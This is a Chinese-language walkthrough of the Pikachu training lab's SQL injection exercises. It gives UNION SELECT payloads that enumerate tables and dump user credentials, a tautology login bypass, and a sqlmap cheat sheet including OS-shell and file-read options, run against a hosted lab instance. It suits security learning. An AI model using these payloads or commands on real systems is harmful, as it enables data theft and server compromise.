Sql Inject(SQL注入)概述
哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。
你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该漏洞。
1.数字型注入

我们使用Burp Suite抓包一下

输入and 1=1 的时候页面没有报错

我们以此判断是数字型注入,不需要闭合符
接下来我们使用order by来判断可以显示的列
当查询字段数为2时,页面正常显示
当为3的时候就不再显示,说明这个表有两列
其原理是,order by会对列继续排序,当我们输入的列数超过实际拥有的列数,就会提示该列不存在

查询数据库和数据库版本
union select database(),version()

查询所有表,这里使用mysql5.0以上版本自带的information_schema表
union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'

查询敏感表users表中所有列
union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'

查询用户名和密码
union select group_concat(username),group_concat(password) from users


然后我们去md5解密

2.字符型注入(get)
我们判断一下闭合字符
我们输入1'就出现了页面报错

可以猜测闭合符就是单引号
猜测出闭合符,我们可以尝试构造万能密码查询所有数据
' or '1'='1

我们也可以查询所有的表,数据库
查所有表
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询

与上一关不同的是,这一关可以在url栏中构造sql语句了,并且闭合符是单引号,其余与上一关一样,后面我就不具体演示了
3.搜索型注入
这里我们介绍一个sql注入常用的注入工具———sqlmap
这里介绍下sqlmap常用的一些语法
get型常用参数
-u:指定注入的URL sqlmap -u URL
--dbs:爆出所有数据库 sqlmap -u URL --dbs
--dbms:指定数据库类型 sqlmap -u URL --dbms=mysql
--users:查看数据库的所有用户 sqlmap -u URL --users
--current-user:查看数据库当前用户 sqlmap -u URL --current-user
--current-db:查看网站当前数据库 sqlmap -u URL --current-db
--is-dba:判断当前用户是否有管理员权限 sqlmap -u URL --is-dba
[11:57:52] [INFO] testing if current user is DBA
[11:57:52] [INFO] fetching current user
current user is DBA: True
--roles:列出数据库所有管理员角色,仅适用于oracle数据库 sqlmap -u URL --roles
--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables
--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns
--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump
--dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all
--sql-shell:获取数据库shell sqlmap -u URL --sql-shell
--os-shell:获取服务器shell sqlmap -u URL --os-shell
--file-read:读取服务器文件 sqlmap -u URL --file-read "文件路径及名称"
--file-write 本地文件 --file-dist 目标文件路径及名称:将本地文件上传至目标服务器
--time-sec=2:延时注入 sqlmap -u URL --time-sec=2
--batch:探测过程中不进行询问,一律选择默认
-m:如果有多个url地址,可以把多个url保存成一个文本文件,-m可以加载文本文件逐个扫描
post型常用参数
-r:指定POST数据文件 sqlmap -r post.txt
--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"
--forms:自动搜索表单的方式 sqlmap -u URL --forms
--cookie="抓取的cookie":测试cookie字段
--param-del:参数拆分字符,当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del
--referer:在请求中伪造http中的referer,当level参数设定为3或者3以上的时候会尝试对referer注入
--headers:增加额外的http头
--proxy:指定代理地址
-p:指定测试参数
回到我们的题目,我们就拿这个题来举例子
首先探测注入点
python sqlmap.py -u "https://pikachu.lammy.fun/vul/sqli/sqli_search.php?name=al&submit=%E6%90%9C%E7%B4%A2#"

成功探测出注入点,并且爆出了数据库类型及其版本
接着爆库
python sqlmap.py -u "http://pikachu.lammy.fun/vul/sqli/sqli_search.php?name=al&submit=%E6%90%9C%E7%B4%A2#" --dbs

爆表
python sqlmap.py -u "http://pikachu.lammy.fun/vul/sqli/sqli_search.php?name=al&submit=%E6%90%9C%E7%B4%A2#" -D "pikachu" --tables

爆字段名
python sqlmap.py -u "http://pikachu.lammy.fun/vul/sqli/sqli_search.php?name=al&submit=%E6%90%9C%E7%B4%A2#" -D "pikachu" -D "pikachu" -T "users" --columns
爆数据
python sqlmap.py -u "http://pikachu.lammy.fun/vul/sqli/sqli_search.php?name=al&submit=%E6%90%9C%E7%B4%A2#" -D "pikachu" -T "users" -C "password,username" --dump
4.insert/update注入
python sqlmap.py -u "http://pikachu.lammy.fun/vul/sqli/sqli_iu/sqli_reg.php" --data "username=1&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit"

粤公网安备44080202000201号